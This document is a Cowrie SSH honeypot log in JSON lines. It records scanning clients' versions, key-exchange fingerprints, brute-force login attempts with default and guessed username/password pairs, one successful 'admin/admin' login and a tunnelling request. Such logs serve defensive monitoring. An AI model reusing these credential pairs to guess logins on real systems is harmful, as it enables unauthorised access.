{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:25.886831Z","src_ip":"152.32.238.146","session":"730d33d348e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:25.909026Z","src_ip":"152.32.238.146","session":"730d33d348e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cronuser","password":"cronuser","message":"login attempt [cronuser/cronuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:26.004972Z","src_ip":"152.32.238.146","session":"730d33d348e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:27.030269Z","src_ip":"152.32.238.146","session":"730d33d348e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":30175,"dst_ip":"159.203.135.109","dst_port":22,"session":"05ddb9b48e5c","protocol":"ssh","message":"New connection: 213.209.159.159:30175 (159.203.135.109:22) [session: 05ddb9b48e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:27.600482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:27.606108Z","src_ip":"213.209.159.159","session":"05ddb9b48e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:28.719408Z","src_ip":"213.209.159.159","session":"05ddb9b48e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie","message":"login attempt [hattie/hattie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:32.110853Z","src_ip":"213.209.159.159","session":"05ddb9b48e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie1","message":"login attempt [hattie/hattie1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:33.872217Z","src_ip":"213.209.159.159","session":"05ddb9b48e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie123","message":"login attempt [hattie/hattie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:34.962197Z","src_ip":"213.209.159.159","session":"05ddb9b48e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie1234","message":"login attempt [hattie/hattie1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:36.048432Z","src_ip":"213.209.159.159","session":"05ddb9b48e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hattie","password":"hattie12345","message":"login attempt [hattie/hattie12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:38.288568Z","src_ip":"213.209.159.159","session":"05ddb9b48e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.8","message":"Connection lost after 11.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:39.376781Z","src_ip":"213.209.159.159","session":"05ddb9b48e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":53062,"dst_ip":"159.203.135.109","dst_port":22,"session":"1121002e83fa","protocol":"ssh","message":"New connection: 80.94.92.186:53062 (159.203.135.109:22) [session: 1121002e83fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:43.010711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:43.019822Z","src_ip":"80.94.92.186","session":"1121002e83fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:43.152055Z","src_ip":"80.94.92.186","session":"1121002e83fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:44.052630Z","src_ip":"80.94.92.186","session":"1121002e83fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:45.178814Z","src_ip":"80.94.92.186","session":"1121002e83fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":13082,"dst_ip":"10.17.0.5","dst_port":22,"session":"47401baefb7f","protocol":"ssh","message":"New connection: 87.251.64.176:13082 (10.17.0.5:22) [session: 47401baefb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:46.169905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:46.177734Z","src_ip":"87.251.64.176","session":"47401baefb7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:46.273669Z","src_ip":"87.251.64.176","session":"47401baefb7f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:46.561705Z","src_ip":"87.251.64.176","session":"47401baefb7f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:46.661363Z","session":"47401baefb7f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:46.759606Z","src_ip":"87.251.64.176","session":"47401baefb7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:46.858397Z","src_ip":"87.251.64.176","session":"47401baefb7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":59810,"dst_ip":"159.203.135.109","dst_port":22,"session":"2316fab423fa","protocol":"ssh","message":"New connection: 103.63.108.25:59810 (159.203.135.109:22) [session: 2316fab423fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:47.785528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:47.790111Z","src_ip":"103.63.108.25","session":"2316fab423fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:48.076002Z","src_ip":"103.63.108.25","session":"2316fab423fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"redhat5","message":"login attempt [ubuntu/redhat5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:49.231179Z","src_ip":"103.63.108.25","session":"2316fab423fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:50.518868Z","src_ip":"103.63.108.25","session":"2316fab423fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37382,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d58aabb7c28","protocol":"ssh","message":"New connection: 159.203.92.129:37382 (159.203.135.109:22) [session: 5d58aabb7c28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:57.021789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:57.026511Z","src_ip":"159.203.92.129","session":"5d58aabb7c28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:57.030971Z","src_ip":"159.203.92.129","session":"5d58aabb7c28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123","message":"login attempt [aaa/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:57.043616Z","src_ip":"159.203.92.129","session":"5d58aabb7c28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:25:58.050223Z","src_ip":"159.203.92.129","session":"5d58aabb7c28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":36194,"dst_ip":"10.17.0.5","dst_port":22,"session":"155caccf8a6e","protocol":"ssh","message":"New connection: 152.32.238.146:36194 (10.17.0.5:22) [session: 155caccf8a6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:07.895566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:07.904361Z","src_ip":"152.32.238.146","session":"155caccf8a6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:07.916550Z","src_ip":"152.32.238.146","session":"155caccf8a6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1q2w!Q@W","message":"login attempt [ubuntu/1q2w!Q@W] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:07.995303Z","src_ip":"152.32.238.146","session":"155caccf8a6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:09.018237Z","src_ip":"152.32.238.146","session":"155caccf8a6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.162","src_port":4200,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cc6f0bb37a9","protocol":"ssh","message":"New connection: 65.49.1.162:4200 (10.17.0.5:22) [session: 0cc6f0bb37a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:15.025333Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xa2\\xe6\\x82\\xd8@K;\\xc9\\xe3v\u0002\\xd6O\\xa2\\xf90N_\\xe7\\xf0\\x85\\xd5P\u000f\\xfdD\\xc7\\xcf:\\xd8Ns\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000{\u0001\u0000\u0000w\u0003\u0003\\xa2\\xe6\\x82\\xd8@K;\\xc9\\xe3v\u0002\\xd6O\\xa2\\xf90N_\\xe7\\xf0\\x85\\xd5P\u000f\\xfdD\\xc7\\xcf:\\xd8Ns\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:15.029899Z","src_ip":"65.49.1.162","session":"0cc6f0bb37a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:15.033984Z","src_ip":"65.49.1.162","session":"0cc6f0bb37a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45572,"dst_ip":"159.203.135.109","dst_port":22,"session":"44378830d458","protocol":"ssh","message":"New connection: 159.203.92.129:45572 (159.203.135.109:22) [session: 44378830d458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:38.874312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:26:38.878971Z","src_ip":"159.203.92.129","session":"44378830d458","protocol":"ssh"}
